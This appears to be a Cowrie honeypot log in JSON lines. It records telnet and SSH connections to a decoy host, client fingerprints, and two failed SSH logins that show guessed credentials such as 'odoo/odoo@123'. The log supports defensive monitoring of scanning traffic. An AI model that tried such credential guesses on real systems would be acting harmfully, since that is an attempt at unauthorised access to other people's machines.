{"eventid":"cowrie.session.closed","duration":37.7605402469635,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:07.382927Z","src_ip":"65.60.27.33","session":"29e9d44d0b02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.16247606277466,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:09.007690Z","src_ip":"62.210.97.77","session":"ed982be3835c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":50616,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca6e6c5cfa44","protocol":"telnet","message":"New connection: 192.211.53.160:50616 (159.203.135.109:23) [session: ca6e6c5cfa44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:11.069476Z"}
{"eventid":"cowrie.session.closed","duration":120.00317287445068,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:12.514348Z","src_ip":"188.66.52.72","session":"8f6540b072cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.38981008529663,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:12.789092Z","src_ip":"62.210.97.77","session":"551d5e1a77f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":48279,"dst_ip":"10.17.0.5","dst_port":23,"session":"a598c369cf40","protocol":"telnet","message":"New connection: 188.66.52.72:48279 (10.17.0.5:23) [session: a598c369cf40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:13.392628Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55430,"dst_ip":"10.17.0.5","dst_port":23,"session":"8114a5ab6d9e","protocol":"telnet","message":"New connection: 62.210.97.77:55430 (10.17.0.5:23) [session: 8114a5ab6d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:13.534161Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":50618,"dst_ip":"159.203.135.109","dst_port":23,"session":"feb762f58578","protocol":"telnet","message":"New connection: 192.211.53.160:50618 (159.203.135.109:23) [session: feb762f58578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:13.996796Z"}
{"eventid":"cowrie.session.closed","duration":34.63872003555298,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:14.493165Z","src_ip":"62.210.97.77","session":"784a8c0ef2a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00138783454895,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:15.188861Z","src_ip":"188.66.52.72","session":"d5ce9c5a12a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54458,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e4b3e6c86fa","protocol":"telnet","message":"New connection: 165.232.131.181:54458 (10.17.0.5:23) [session: 7e4b3e6c86fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:15.367621Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54822,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f04a254a5b8","protocol":"telnet","message":"New connection: 165.232.131.181:54822 (10.17.0.5:23) [session: 7f04a254a5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:15.377977Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":34884,"dst_ip":"10.17.0.5","dst_port":23,"session":"d462849df247","protocol":"telnet","message":"New connection: 188.66.52.72:34884 (10.17.0.5:23) [session: d462849df247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:16.007701Z"}
{"eventid":"cowrie.session.closed","duration":35.52273201942444,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:16.743081Z","src_ip":"65.60.27.33","session":"5bc24c7d0306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.056264638900757,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:17.052918Z","src_ip":"192.211.53.160","session":"feb762f58578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":13981,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ebef33a982d","protocol":"telnet","message":"New connection: 188.66.52.72:13981 (10.17.0.5:23) [session: 1ebef33a982d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:17.866892Z"}
{"eventid":"cowrie.session.closed","duration":120.00127148628235,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:17.939934Z","src_ip":"188.66.52.72","session":"4308011f75b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.064661741256714,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:18.653198Z","src_ip":"38.54.119.93","session":"7d8b20bdac98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":47933,"dst_ip":"10.17.0.5","dst_port":23,"session":"eecade238dd9","protocol":"telnet","message":"New connection: 188.66.52.72:47933 (10.17.0.5:23) [session: eecade238dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:18.733592Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56610,"dst_ip":"10.17.0.5","dst_port":23,"session":"2258950db151","protocol":"telnet","message":"New connection: 165.232.131.181:56610 (10.17.0.5:23) [session: 2258950db151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:22.155482Z"}
{"eventid":"cowrie.session.closed","duration":46.36212134361267,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:23.039370Z","src_ip":"38.54.119.93","session":"ce1b61a79080","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.54359674453735,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:23.805065Z","src_ip":"38.54.119.93","session":"1633ee87189b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.163944244384766,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:30.735456Z","src_ip":"62.210.97.77","session":"3fdc39c2be0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52888,"dst_ip":"10.17.0.5","dst_port":23,"session":"22ca319ff83d","protocol":"telnet","message":"New connection: 65.60.27.33:52888 (10.17.0.5:23) [session: 22ca319ff83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:32.352659Z"}
{"eventid":"cowrie.session.closed","duration":35.374653577804565,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:35.216910Z","src_ip":"62.210.97.77","session":"f842bd507656","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.68033838272095,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:36.944888Z","src_ip":"165.232.131.181","session":"fade47476054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47666,"dst_ip":"10.17.0.5","dst_port":23,"session":"4824cc078bd8","protocol":"telnet","message":"New connection: 62.210.97.77:47666 (10.17.0.5:23) [session: 4824cc078bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:38.410919Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60902,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f0590951216","protocol":"telnet","message":"New connection: 62.210.97.77:60902 (10.17.0.5:23) [session: 9f0590951216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:39.615540Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38426,"dst_ip":"10.17.0.5","dst_port":23,"session":"83be715eb572","protocol":"telnet","message":"New connection: 38.54.119.93:38426 (10.17.0.5:23) [session: 83be715eb572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:45.704504Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38222,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fbf85ae401c","protocol":"telnet","message":"New connection: 165.232.131.181:38222 (10.17.0.5:23) [session: 9fbf85ae401c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:46.396065Z"}
{"eventid":"cowrie.session.closed","duration":33.5023934841156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:47.036422Z","src_ip":"62.210.97.77","session":"8114a5ab6d9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.936615228652954,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:48.005794Z","src_ip":"192.211.53.160","session":"ca6e6c5cfa44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42426,"dst_ip":"10.17.0.5","dst_port":23,"session":"7374e56415ee","protocol":"telnet","message":"New connection: 65.60.27.33:42426 (10.17.0.5:23) [session: 7374e56415ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:48.822916Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":52880,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ed5ac139fe3","protocol":"ssh","message":"New connection: 80.94.92.182:52880 (159.203.135.109:22) [session: 0ed5ac139fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:49.949948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:49.994115Z","src_ip":"80.94.92.182","session":"0ed5ac139fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:50.067893Z","src_ip":"80.94.92.182","session":"0ed5ac139fe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operation","password":"operation","message":"login attempt [operation/operation] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:50.701265Z","src_ip":"80.94.92.182","session":"0ed5ac139fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:51.843882Z","src_ip":"80.94.92.182","session":"0ed5ac139fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49856,"dst_ip":"10.17.0.5","dst_port":23,"session":"418b49dcf97a","protocol":"telnet","message":"New connection: 65.60.27.33:49856 (10.17.0.5:23) [session: 418b49dcf97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:55.552821Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":47510,"dst_ip":"159.203.135.109","dst_port":22,"session":"f08e4b313aa2","protocol":"ssh","message":"New connection: 181.234.2.36:47510 (159.203.135.109:22) [session: f08e4b313aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:55.754601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:55.760037Z","src_ip":"181.234.2.36","session":"f08e4b313aa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:55.858729Z","src_ip":"181.234.2.36","session":"f08e4b313aa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@123","message":"login attempt [odoo/odoo@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:56.307785Z","src_ip":"181.234.2.36","session":"f08e4b313aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:57.405007Z","src_ip":"181.234.2.36","session":"f08e4b313aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.95484638214111,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:04:59.322334Z","src_ip":"165.232.131.181","session":"7e4b3e6c86fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.96211528778076,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:01.339982Z","src_ip":"165.232.131.181","session":"7f04a254a5b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43910,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0864f5e374f","protocol":"telnet","message":"New connection: 165.232.131.181:43910 (10.17.0.5:23) [session: a0864f5e374f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:01.440014Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44316,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfc02454e4bd","protocol":"telnet","message":"New connection: 165.232.131.181:44316 (10.17.0.5:23) [session: cfc02454e4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:01.525468Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34866,"dst_ip":"10.17.0.5","dst_port":23,"session":"4382d8da2e8e","protocol":"telnet","message":"New connection: 62.210.97.77:34866 (10.17.0.5:23) [session: 4382d8da2e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:01.723444Z"}
{"eventid":"cowrie.session.closed","duration":7.312218189239502,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:02.864936Z","src_ip":"65.60.27.33","session":"418b49dcf97a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34882,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de9d82d992d","protocol":"telnet","message":"New connection: 62.210.97.77:34882 (10.17.0.5:23) [session: 1de9d82d992d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:04.177661Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34890,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e057f538a77","protocol":"telnet","message":"New connection: 62.210.97.77:34890 (10.17.0.5:23) [session: 5e057f538a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:04.545879Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44648,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2478d8c15d6","protocol":"telnet","message":"New connection: 165.232.131.181:44648 (10.17.0.5:23) [session: f2478d8c15d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:04.562233Z"}
{"eventid":"cowrie.session.closed","duration":45.36540341377258,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:07.520777Z","src_ip":"165.232.131.181","session":"2258950db151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38050,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb41019f56e3","protocol":"telnet","message":"New connection: 65.60.27.33:38050 (10.17.0.5:23) [session: cb41019f56e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:10.352534Z"}
{"eventid":"cowrie.session.closed","duration":39.092609882354736,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:11.445193Z","src_ip":"65.60.27.33","session":"22ca319ff83d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.74825882911682,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:12.159090Z","src_ip":"62.210.97.77","session":"4824cc078bd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.599644899368286,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:14.215055Z","src_ip":"62.210.97.77","session":"9f0590951216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50844,"dst_ip":"10.17.0.5","dst_port":23,"session":"639be112fad4","protocol":"telnet","message":"New connection: 165.232.131.181:50844 (10.17.0.5:23) [session: 639be112fad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:21.726291Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41062,"dst_ip":"10.17.0.5","dst_port":23,"session":"28ca1aaee34c","protocol":"telnet","message":"New connection: 62.210.97.77:41062 (10.17.0.5:23) [session: 28ca1aaee34c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:22.906128Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41070,"dst_ip":"10.17.0.5","dst_port":23,"session":"76df5aa1e19f","protocol":"telnet","message":"New connection: 62.210.97.77:41070 (10.17.0.5:23) [session: 76df5aa1e19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:25.966077Z"}
{"eventid":"cowrie.session.closed","duration":43.65223526954651,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:29.356633Z","src_ip":"38.54.119.93","session":"83be715eb572","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.828989028930664,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:31.224947Z","src_ip":"165.232.131.181","session":"9fbf85ae401c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.38906502723694,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:34.828967Z","src_ip":"165.232.131.181","session":"a0864f5e374f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.15228056907654,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:35.975106Z","src_ip":"65.60.27.33","session":"7374e56415ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.256346225738525,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:39.979640Z","src_ip":"62.210.97.77","session":"4382d8da2e8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.0359320640564,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:40.581663Z","src_ip":"62.210.97.77","session":"5e057f538a77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.74439525604248,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:41.269537Z","src_ip":"165.232.131.181","session":"cfc02454e4bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58382,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f1550962b74","protocol":"telnet","message":"New connection: 165.232.131.181:58382 (10.17.0.5:23) [session: 3f1550962b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:41.552837Z"}
{"eventid":"cowrie.session.closed","duration":37.44611692428589,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:41.623636Z","src_ip":"62.210.97.77","session":"1de9d82d992d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47116,"dst_ip":"10.17.0.5","dst_port":23,"session":"db4a2a217a57","protocol":"telnet","message":"New connection: 38.54.119.93:47116 (10.17.0.5:23) [session: db4a2a217a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:43.338417Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51846,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a85f9439412","protocol":"telnet","message":"New connection: 62.210.97.77:51846 (10.17.0.5:23) [session: 0a85f9439412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:43.779931Z"}
{"eventid":"cowrie.session.closed","duration":44.155956506729126,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:05:48.718076Z","src_ip":"165.232.131.181","session":"f2478d8c15d6","protocol":"telnet"}
